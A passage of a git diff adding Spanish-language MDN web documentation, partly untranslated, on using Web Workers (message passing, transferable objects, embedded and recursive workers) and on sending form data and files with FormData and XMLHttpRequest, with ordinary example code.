+
+<pre class="brush: js notranslate">// asynchronous alert message...
+asyncEval("3 + 2", function (sMessage) {
+    alert("3 + 2 = " + sMessage);
+});
+
+// asynchronous print message...
+asyncEval("\"Hello World!!!\"", function (sHTML) {
+    document.body.appendChild(document.createTextNode(sHTML));
+});
+
+// asynchronous void...
+asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");</pre>
+
+<h4 id="Ejemplo_2_Paso_avanzado_de_JSON_Data_y_creación_de_un_sistema_de_conmutación">Ejemplo #2: Paso avanzado de JSON Data y creación de un sistema de conmutación</h4>
+
+<p>Si tiene que pasar datos complejos y tienes que llamar a muchas funciones diferentes tanto en la página principal como en el Worker, puede crear un sistema como el siguiente.</p>
+
+<p><strong>example.html</strong> (the main page):</p>
+
+<pre class="brush: html notranslate">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"  /&gt;
+&lt;title&gt;MDN Example - Queryable worker&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  /*
+    QueryableWorker instances methods:
+     * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
+     * postMessage(string or JSON Data): see Worker.prototype.postMessage()
+     * terminate(): terminates the Worker
+     * addListener(name, function): adds a listener
+     * removeListener(name): removes a listener
+    QueryableWorker instances properties:
+     * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
+  */
+  function QueryableWorker (sURL, fDefListener, fOnError) {
+    var oInstance = this, oWorker = new Worker(sURL), oListeners = {};
+    this.defaultListener = fDefListener || function () {};
+    oWorker.onmessage = function (oEvent) {
+      if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("vo42t30") &amp;&amp; oEvent.data.hasOwnProperty("rnb93qh")) {
+        oListeners[oEvent.data.vo42t30].apply(oInstance, oEvent.data.rnb93qh);
+      } else {
+        this.defaultListener.call(oInstance, oEvent.data);
+      }
+    };
+    if (fOnError) { oWorker.onerror = fOnError; }
+    this.sendQuery = function (/* queryable function name, argument to pass 1, argument to pass 2, etc. etc */) {
+      if (arguments.length &lt; 1) { throw new TypeError("QueryableWorker.sendQuery - not enough arguments"); return; }
+      oWorker.postMessage({ "bk4e1h0": arguments[0], "ktp3fm1": Array.prototype.slice.call(arguments, 1) });
+    };
+    this.postMessage = function (vMsg) {
+      //I just think there is no need to use call() method
+      //how about just oWorker.postMessage(vMsg);
+      //the same situation with terminate
+      //well,just a little faster,no search up the prototye chain
+      Worker.prototype.postMessage.call(oWorker, vMsg);
+    };
+    this.terminate = function () {
+      Worker.prototype.terminate.call(oWorker);
+    };
+    this.addListener = function (sName, fListener) {
+      oListeners[sName] = fListener;
+    };
+    this.removeListener = function (sName) {
+      delete oListeners[sName];
+    };
+  };
+
+  // your custom "queryable" worker
+  var oMyTask = new QueryableWorker("my_task.js" /* , yourDefaultMessageListenerHere [optional], yourErrorListenerHere [optional] */);
+
+  // your custom "listeners"
+
+  oMyTask.addListener("printSomething", function (nResult) {
+    document.getElementById("firstLink").parentNode.appendChild(document.createTextNode(" The difference is " + nResult + "!"));
+  });
+
+  oMyTask.addListener("alertSomething", function (nDeltaT, sUnit) {
+    alert("Worker waited for " + nDeltaT + " " + sUnit + " :-)");
+  });
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a id="firstLink" href="javascript:oMyTask.sendQuery('getDifference', 5, 3);"&gt;What is the difference between 5 and 3?&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.sendQuery('waitSomething');"&gt;Wait 3 seconds&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="javascript:oMyTask.terminate();"&gt;terminate() the Worker&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><strong>my_task.js</strong> (el worker):</p>
+
+<pre class="brush: js notranslate">// your custom PRIVATE functions
+
+function myPrivateFunc1 () {
+  // do something
+}
+
+function myPrivateFunc2 () {
+  // do something
+}
+
+// etc. etc.
+
+// your custom PUBLIC functions (i.e. queryable from the main page)
+
+var queryableFunctions = {
+  // example #1: get the difference between two numbers:
+  getDifference: function (nMinuend, nSubtrahend) {
+      reply("printSomething", nMinuend - nSubtrahend);
+  },
+  // example #2: wait three seconds
+  waitSomething: function () {
+      setTimeout(function() { reply("alertSomething", 3, "seconds"); }, 3000);
+  }
+};
+
+// system functions
+
+function defaultQuery (vMsg) {
+  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
+  // do something
+}
+
+function reply (/* listener name, argument to pass 1, argument to pass 2, etc. etc */) {
+  if (arguments.length &lt; 1) { throw new TypeError("reply - not enough arguments"); return; }
+  postMessage({ "vo42t30": arguments[0], "rnb93qh": Array.prototype.slice.call(arguments, 1) });
+}
+
+onmessage = function (oEvent) {
+  if (oEvent.data instanceof Object &amp;&amp; oEvent.data.hasOwnProperty("bk4e1h0") &amp;&amp; oEvent.data.hasOwnProperty("ktp3fm1")) {
+    queryableFunctions[oEvent.data.bk4e1h0].apply(self, oEvent.data.ktp3fm1);
+  } else {
+    defaultQuery(oEvent.data);
+  }
+};</pre>
+
+<p>Es un método posible para conmutar el contenido de cada mensaje de cada mainpage-worker y viceversa.</p>
+
+<h3 id="Pasando_datos_mediante_transferencia_de_propiedades_objetos_transferibles">Pasando datos mediante transferencia de propiedades (objetos transferibles)</h3>
+
+<p>Google Chrome 17 y Firefox 18 implementan un método adicional para enviar ciertos tipos de objetos desde o hacia el worker con un mejor rendimiento. Estos objetos se denominan objetos transferibles (transferable objects), es decir, o<span class="external">bjetos que implementan la interfaz {{domxref("Transferable")}}</span>. Los objetos transferibles se transfieren de un contexto a otro con una operación "zero-copy". Esto supone una gran mejora de rendimiento al enviar grandes cantidades de datos. Piensa en ello como un paso por referencia si vienes del mundo de C/C++.  Sin embargo, a diferecia del paso por referencia, la "versión" original no queda disponible una vez transferida. Su contenido es transferido al nuevo contexto. Por ejemplo, cuando se transfiere un {{domxref("ArrayBuffer")}} de tu aplicacion al Worker, el contenido del {{domxref("ArrayBuffer")}} original se vacía y no se puede utilizar posteriormente. Su contenido es (literalmente) transferido al contexto del Worker.</p>
+
+<pre class="brush: js notranslate">// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+  uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
+</pre>
+
+<p>Para más información sobre los objetos transferibles, <a class="external" href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast" title="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">visita HTML5Rocks</a> .</p>
+
+<h2 id="Spawning_subworkers">Spawning subworkers</h2>
+
+<p>Workers may spawn more workers if they wish.  So-called subworkers must be hosted within the same origin as the parent page.  Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page.  This makes it easier for workers to keep track of where their dependencies are.</p>
+
+<p>Subworkers are currently not supported in Chrome. See <a class="external" href="http://code.google.com/p/chromium/issues/detail?id=31666" title="http://code.google.com/p/chromium/issues/detail?id=31666">crbug.com/31666</a> .</p>
+
+<h2 id="Embedded_workers">Embedded workers</h2>
+
+<p>There is not an "official" way to embed the code of a worker within a web page as for the {{ HTMLElement("script") }} elements. But a {{ HTMLElement("script") }} element which does not have a <code>src</code> attribute and has a <code>type</code> attribute that does not identify an executable mime-type will be considered a data block element, that JavaScript could use.  "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its mime-type is text/js-worker.
+  var myVar = "Hello World!";
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its mime-type is text/javascript.
+  function pageLog (sMsg) {
+    // Use a fragment: browser will only render/reflow once.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement("br"));
+    document.querySelector("#logDisplay").appendChild(oFragm);
+  }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+  // This script WON'T be parsed by JS engines because its mime-type is text/js-worker.
+  onmessage = function (oEvent) {
+    postMessage(myVar);
+  };
+  // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+  // This script WILL be parsed by JS engines because its mime-type is text/javascript.
+
+  // In the past...:
+  // blob builder existed
+  // ...but now we use Blob...:
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+  // Creating a new document.worker property containing all our "text/js-worker" scripts.
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function (oEvent) {
+    pageLog("Received: " + oEvent.data);
+  };
+
+  // Start the worker.
+  window.onload = function() { document.worker.postMessage(""); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The embedded worker is now nested into a new custom <code>document.worker</code> property.</p>
+
+<h2 id="Tiempos_fuera_e_intervalos">Tiempos fuera e intervalos</h2>
+
+<p>Los trabajadores pueden usar tiempos fuera e intervalos de la misma forma que el "hilo principal".  Esto puede ser útil, por ejemplo, si quieres tener a tu hilo trabajador corriendo codigo periodicamente en lugar de sin parar.</p>
+
+<p>Ver <a class="internal" href="/en/DOM/window.setTimeout" title="En/DOM/Window.setTimeout"><code>setTimeout()</code> </a> , <a class="internal" href="/en/DOM/window.clearTimeout" title="En/DOM/Window.clearTimeout"> <code>clearTimeout()</code> </a> , <a class="internal" href="/en/DOM/window.setInterval" title="En/DOM/Window.setInterval"> <code>setInterval()</code> </a> , y <a class="internal" href="/en/DOM/window.clearInterval" title="En/DOM/Window.clearInterval"><code>clearInterval()</code> </a> para más detalles. Ver también: <a href="/en-US/docs/JavaScript/Timers" title="/en-US/docs/JavaScript/Timers">JavaScript Timers</a>.</p>
+
+<h2 id="Terminating_a_worker">Terminating a worker</h2>
+
+<p>If you need to immediately terminate a running worker, you can do so by calling the worker's <code>terminate()</code> method:</p>
+
+<pre class="syntaxbox notranslate">myWorker.terminate();</pre>
+
+<p>The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.</p>
+
+<p>Workers may close themselves by calling their own {{ ifmethod("nsIWorkerScope", "close") }} method:</p>
+
+<pre class="syntaxbox notranslate">self.close();</pre>
+
+<h2 id="Manejo_de_errores">Manejo de errores</h2>
+
+<p>When a runtime error occurs in worker, its <code>onerror</code> event handler is called.  It receives an event named <code>error</code> which implements the <code>ErrorEvent</code> interface.  The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's <a class="internal" href="/en/DOM/event.preventDefault" title="En/DOM/Event.preventDefault"> <code>preventDefault()</code> </a> method.</p>
+
+<p>The error event has the following three fields that are of interest:</p>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>A human-readable error message.</dd>
+ <dt><code>filename</code></dt>
+ <dd>The name of the script file in which the error occurred.</dd>
+ <dt><code>lineno</code></dt>
+ <dd>The line number of the script file on which the error occurred.</dd>
+</dl>
+
+<h2 id="Accediendo_al_objeto_navigator">Accediendo al objeto navigator</h2>
+
+<p>Los workers pueden acceder al objeto <code>navigator</code>, el cuál está disponible dentro de su scope actual. Este contiene los siguientes strings que pueden ser usados para identificar el navegador, al igual que puede realizarse usando scripts normales:</p>
+
+<ul>
+ <li><code>appName</code></li>
+ <li><code>appVersion</code></li>
+ <li><code>platform</code></li>
+ <li><code>userAgent</code></li>
+</ul>
+
+<h2 id="Importing_scripts_and_libraries">Importing scripts and libraries</h2>
+
+<p>Worker threads have access to a global function, <code>importScripts()</code> , which lets them import scripts or libraries into their scope.  It accepts as parameters zero or more URIs to resources to import; all of the following examples are valid:</p>
+
+<pre class="brush: js notranslate">importScripts();                        /* imports nothing */
+importScripts('foo.js');                /* imports just "foo.js" */
+importScripts('foo.js', 'bar.js');      /* imports two scripts */
+</pre>
+
+<p>The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, <code>NETWORK_ERROR</code> is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{ domxref("window.setTimeout()") }}) will still be functional though. Function declarations <strong>after</strong> the <code>importScripts()</code> method are also kept, since these are always evaluated before the rest of the code.</p>
+
+<div class="note"><strong>Note:</strong> Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into <code>importScripts()</code> .  This is done synchronously; <code>importScripts()</code> does not return until all the scripts have been loaded and executed.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This section provides several examples of how to use DOM workers.</p>
+
+<h3 id="Performing_computations_in_the_background">Performing computations in the background</h3>
+
+<p>One way workers are useful is to allow your code to perform processor-intensive calculations without blocking the user interface thread.  In this example, a worker is used to calculate Fibonacci numbers.</p>
+
+<h4 id="The_JavaScript_code">The JavaScript code</h4>
+
+<p>The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.</p>
+
+<pre class="brush: js notranslate">var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i &lt;= 2; i++) {
+    var worker = new Worker("fibonacci.js");
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };</pre>
+
+<p>The worker sets the property <code>onmessage</code>  to a function which will receive messages sent when the worker object's  <code>postMessage()</code> is called.  (Note that this differs from defining a global <em>variable</em> of that name, or defining a <em>function</em> with that name.   <code>var onmessage</code> and <code>function onmessage</code> will define global properties with those names, but they will not register the function to receive messages sent by the  web page that created the worker.)  This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.</p>
+
+<h4 id="The_HTML_code">The HTML code</h4>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="UTF-8"  /&gt;
+    &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+  &lt;div id="result"&gt;&lt;/div&gt;
+
+  &lt;script language="javascript"&gt;
+
+    var worker = new Worker("fibonacci.js");
+
+    worker.onmessage = function(event) {
+      document.getElementById("result").textContent = event.data;
+      dump("Got: " + event.data + "\n");
+    };
+
+    worker.onerror = function(error) {
+      dump("Worker error: " + error.message + "\n");
+      throw error;
+    };
+
+    worker.postMessage("5");
+
+  &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>The web page creates a <code>div</code> element with the ID  <code>result</code> , which gets used to display the result, then spawns the worker.  After spawning the worker, the <code>onmessage</code> handler is configured to display the results by setting the contents of the <code>div</code> element, and the <code>onerror</code> handler is set to <a class="external" href="/en/Debugging_JavaScript#dump()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/en/Debugging_JavaScript#dump()">dump</a> the error message.</p>
+
+<p>Finally, a message is sent to the worker to start it.</p>
+
+<p><a class="external" href="/samples/workers/fibonacci" title="https://developer.mozilla.org/samples/workers/fibonacci/">Try this example</a> .</p>
+
+<h3 id="Performing_web_IO_in_the_background">Performing web I/O in the background</h3>
+
+<p>You can find an example of this in the article <a class="internal" href="/En/Using_workers_in_extensions" title="En/Using workers in extensions">Using workers in extensions</a> .</p>
+
+<h3 id="Dividing_tasks_among_multiple_workers">Dividing tasks among multiple workers</h3>
+
+<p>As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.</p>
+
+<p>example coming soon</p>
+
+<h3 id="Creating_workers_from_within_workers">Creating workers from within workers</h3>
+
+<p>The Fibonacci example shown previously demonstrates that workers can in fact <a href="#Spawning_subworkers">spawn additional workers</a>.  This makes it easy to create recursive routines.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Dedicated workers</td>
+   <td>{{CompatChrome(3)}}</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(10.60)}}</td>
+   <td>{{CompatSafari(4)}}</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatChrome(3)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(10.60)}}</td>
+   <td>{{CompatSafari(5)}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="/en/DOM/The_structured_clone_algorithm" title="The structured clone algorithm">structured cloning</a> . </td>
+   <td>{{CompatChrome(13)}}</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(11.50)}}</td>
+   <td>{{CompatSafari(5.1)}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using  <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects" title="http://dev.w3.org/html5/spec/common-dom-interfaces.html#transferable-objects">transferable objects</a></td>
+   <td>17 {{ property_prefix("webkit") }}<br>
+    {{CompatChrome(21)}}</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(6)}}</td>
+  </tr>
+  <tr>
+   <td>Global {{ domxref("window.URL", "URL") }}</td>
+   <td>10 as <code>webkitURL</code><br>
+    {{CompatChrome(23)}}</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>{{CompatIE(11)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>6 as <code>webkitURL</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Dedicated workers</td>
+   <td>---</td>
+   <td>0.16</td>
+   <td>3.5 (1.9.1)</td>
+   <td>---</td>
+   <td>11</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>---</td>
+   <td>{{ CompatNo() }}</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="/en/DOM/The_structured_clone_algorithm" title="The structured clone algorithm">structured cloning</a> . </td>
+   <td>---</td>
+   <td>0.16</td>
+   <td>8</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Passing data using  <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objectshtml#transferable-objects" title="http://dev.w3.org/html5/spec/common-dom-interfaces.html#transferable-objects">transferable objects</a></td>
+   <td>---</td>
+   <td></td>
+   <td>18</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ spec("http://dev.w3.org/html5/workers/", "File API Specification: Web Workers", "ED") }}</li>
+ <li><code><a class="internal" href="/en/DOM/Worker" title="En/DOM/Worker">Worker</a></code> interface</li>
+ <li><code><a class="internal" href="/en/DOM/SharedWorker" title="En/DOM/SharedWorker">SharedWorker</a></code> interface</li>
+ <li><a href="/en/DOM/Worker/Functions_available_to_workers" title="En/DOM/Worker/Functions available to workers">Functions available to workers</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers" title="http://www.html5rocks.com/en/tutorials/workers/basics/#toc-enviornment-subworkers">HTML5Rocks - The Basics of Web Workers</a></li>
+ <li><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=127990" title="Chrome has Problems with many workers">Chrome has problems when using too many worker</a></li>
+</ul>
diff --git a/files/es/web/guide/usando_objetos_formdata/index.html b/files/es/web/guide/usando_objetos_formdata/index.html
new file mode 100644
index 0000000000..4537577011
--- /dev/null
+++ b/files/es/web/guide/usando_objetos_formdata/index.html
@@ -0,0 +1,136 @@
+---
+title: Usando Objetos FormData
+slug: Web/Guide/Usando_Objetos_FormData
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p>Los objetos <code><a href="/es/docs/XMLHttpRequest/FormData" title="en/DOM/XMLHttpRequest/FormData">FormData</a> </code>le permiten compilar un conjunto de pares clave/valor para enviar mediante <code>XMLHttpRequest</code>. Están destinados principalmente para el envío de los datos del formulario, pero se pueden utilizar de forma independiente con el fin de transmitir los datos tecleados. Los datos transmitidos estarán en el mismo formato que usa el método <code>submit() </code>del formulario para enviar los datos si el tipo de codificación del formulario se establece en "multipart/form-data".</p>
+
+<h2 id="Creación_de_un_objeto_FormData_desde_cero">Creación de un objeto FormData desde cero</h2>
+
+<p>Usted mismo puede construir un objeto <code>FormData</code> instanciándolo y después añadiendo campos a la instancia usando su método  <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>append()</code></a> , tal y como se muestra:</p>
+
+<pre class="brush: js">var formData = new FormData();
+
+<span style="line-height: normal;">formData</span>.append("username", "Groucho");
+<span style="line-height: normal;">formData</span>.append("accountnum", 123456); // number 123456 is immediately converted to string "123456"
+
+// HTML file input user's choice...
+<span style="line-height: normal;">formData</span>.append("userfile", fileInputElement.files[0]);
+
+// JavaScript file-like object...
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // the body of the new file...
+var blob = new Blob([<span style="line-height: normal;">content</span><span style="line-height: normal;">], { type: "text/xml"});</span>
+
+formData.append("webmasterfile", <span style="line-height: normal;">blob</span><span style="line-height: normal;">);</span>
+
+var request = new XMLHttpRequest();
+<span style="line-height: normal;">request</span>.open("POST", "http://foo.com/submitform.php");
+<span style="line-height: normal;">request</span>.send(formData);
+</pre>
+
+<div class="note"><strong>Nota:</strong> Los campos "userfile" y "webmasterfile" contienen ambos un archivo. El número asignado al campo "accountnum" es inmediatamente convertido a string por el método <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>FormData.append()</code></a> (el valor del campo puede ser un {{ domxref("Blob") }}, {{ domxref("File") }}, o una cadena de texto; <strong>si el valor no es ni un Blob, ni un File, será convertido a un string</strong>).</div>
+
+<p>Este ejemplo construye una instancia de <code>FormData</code> que almacenará los valores de los campos "username", "accountnum", "userfile" y "webmasterfile", entonces usará el método <a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()"><code>send()</code></a> de <code>XMLHttpRequest</code> para enviar los datos del formulario. El campo "webmasterfile" es un <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>. Un objeto <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a> representa un objeto de tipo similar a un fichero que es inalterable y que almacenará datos en formato raw. Los Blobs representan datos que no necesariamente tendrán un formato Javascript nativo. La interfaz {{ domxref("File") }} está basada en <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, y hereda su funcionalidad y la amplía para dar soporte a archivos que estén en el sistema del usuario. Para construir un <code><a href="/en/DOM/Blob" title="en/DOM/Blob">Blob</a></code>, puede invocar <a href="/en/DOM/Blob#Constructor" title="en/DOM/Blob#Constructor"><code>al constructor del objeto Blob</code></a>.</p>
+
+<h2 id="Recuperando_un_objeto_FormData_de_un_formulario_HTML">Recuperando un objeto FormData de un formulario HTML </h2>
+
+<p>Para construir un objeto <code>FormData</code> que contenga los datos de un {{ HTMLElement("form") }} existente, especifique ese elemento form cuando cree el objeto <code>FormData</code>:</p>
+
+<pre class="brush: js">var <span style="line-height: normal;">formData</span><span style="line-height: normal;"> = new FormData(someFormElement);</span>
+</pre>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: js">var formElement = document.getElementById("myFormElement");
+var request = new XMLHttpRequest();
+<span style="line-height: normal;">request</span>.open("POST", "submitform.php");
+<span style="line-height: normal;">request</span>.send(new FormData(formElement));
+</pre>
+
+<p>También puede añadir datos adicionales al objeto <code>FormData</code> antes de enviarlo. Así:</p>
+
+<pre class="brush: js">var formElement = document.getElementById("myFormElement");
+formData = new FormData(formElement);
+formData.append("serialnumber", serialNumber++);
+<span style="line-height: normal;">request</span>.send(formData);</pre>
+
+<p>Esto le permite aumentar los datos del formulario antes de enviarlos para incluir información adicional que no necesariamente debiera ser editable por el usuario en el formulario.</p>
+
+<h2 id="Enviando_archivos_usando_objetos_FormData">Enviando archivos usando objetos FormData</h2>
+
+<p>También puede enviar archivos usando <code>FormData</code>. Simplemente incluye un elemento {{ HTMLElement("input") }} de tipo {{ domxref("File") }}:</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Your email address:&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Custom file label:&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;File to stash:&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Stash the file!" /&gt;
+&lt;/form&gt;
+&lt;div id="output"&gt;&lt;/div&gt;
+</pre>
+
+<p>Luego puede enviarlo usando código como el siguiente:</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var
+    oOutput = document.getElementById("output"),
+    oData = new FormData(document.forms.namedItem("fileinfo"));
+
+  oData.append("CustomField", "This is some extra data");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Uploaded!";
+    } else {
+      oOutput.innerHTML = "Error " + oReq.status + " occurred uploading your file.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: el método especificado en el formulario será usado por encima del método utilizado en en la llamada a open().</p>
+</div>
+
+<p>También puede añadir un {{ domxref("File") }} o un {{ domxref("Blob") }} directamente al objeto {{ domxref("XMLHttpRequest/FormData", "FormData") }} de la siguiente manera:</p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>Cuando se usa el método <code>append</code> es posible usar, de manera opcional, un tercer parámetro para pasarle un nombre de fichero dentro de la cabecera <code>Content-Disposition </code>que será enviada al servidor. Cuando no se especifica (o el parámetro no es soportado), el nombre "blob" es el que será utilizado.</p>
+
+<p>Además, puede usar FormData con jQuery si asigna las opciones correctas:</p>
+
+<pre class="brush: js">var fd = new FormData(document.getElementById("fileinfo"));
+fd.append("CustomField", "This is some extra data");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // tell jQuery not to process the data
+  contentType: false   // tell jQuery not to set contentType
+});
+</pre>
+
+<h2 id="Envío_de_formularios_y_carga_de_archivos_vía_AJAX_sin_objetos_FormData">Envío de formularios y carga de archivos vía AJAX <em>sin</em>  objetos <code style="font-size: 30px; font-weight: 700;">FormData</code></h2>
+
+<p>Si quiere saber cómo serializar y enviar vía <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> un formulario <em>sin </em>utilizar objetos FormData, por favor leer <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">este párrafo</a> .</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Usando XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/HTMLFormElement" title="/en-US/docs/DOM/HTMLFormElement"><code>HTMLFormElement</code></a></li>
+ <li><a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">Typed Arrays</a></li>
+</ul>
